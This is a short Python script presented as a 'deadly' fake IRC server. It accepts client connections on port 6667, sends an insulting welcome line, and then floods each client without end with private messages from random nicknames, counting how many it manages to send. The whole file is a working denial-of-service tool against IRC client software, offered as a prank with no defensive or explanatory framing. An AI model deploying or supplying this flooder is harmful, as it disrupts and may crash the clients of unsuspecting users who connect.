killer -- a deadly IRC "server"

killer.py

#!/usr/bin/env python

import select
import random
import string
import socket

class Killer:
    def __init__(self, sock):
        self.sock = sock
        self.nick = None
        self.killbuf = b''
        self.recvd = b''
        self.lines = []
        self.sent = 0
    def is_read(self):
        return self.nick == None
    def fileno(self):
        return self.sock.fileno()
    def gen(self):
        if self.nick == None:
            return b''
        killnick = ''.join([random.choice(string.ascii_letters) for x in range(8)])
        return ':{0}!foo@over.nine.thousand.net PRIVMSG {1} :wat\r\n'.format(killnick, self.nick).encode()
    def fill(self):
        while len(self.killbuf) < 1024:
            self.sent += 1
            self.killbuf += self.gen()
    def send(self):
        self.fill()
        sent = self.sock.send(self.killbuf)
        self.killbuf = self.killbuf[sent:]
    def recv(self):
        self.recvd += self.sock.recv(1024).replace(b'\r', b'')
        if b'\n' in self.recvd:
            bef, sep, self.recvd = self.recvd.partition(b'\n')
            self.lines.append(bef.decode())
        while len(self.lines) > 0:
            split = self.lines.pop(0).split()
            if split[0] == 'NICK':
                self.nick = split[1]
                self.killbuf = ':over.nine.thousand.net 001 {0} :WELCOME TO OVER9000NET DOUCHEBAG, HAHAHA\r\n'.format(self.nick).encode()
                break

def main():
    listener = socket.socket()
    listener.bind(('', 6667))
    listener.listen(5)

    killers = []

    print('Listening...')

    while True:
        r = [listener]
        w = []
        x = []

        for killer in killers:
            if killer.is_read():
                r.append(killer)
            else:
                w.append(killer)

        r, w, x = select.select(r, w, x)

        for reader in r:
            if reader == listener:
                conn, addr = reader.accept()
                print('Hahaha, we got one: {0}'.format(addr))
                killers.append(Killer(conn))
            else:
                reader.recv()

        for writer in w:
            try:
                writer.send()
            except socket.error:
                killers.remove(writer)
                print('Sent {0}'.format(writer.sent))

if __name__ == "__main__":
    main()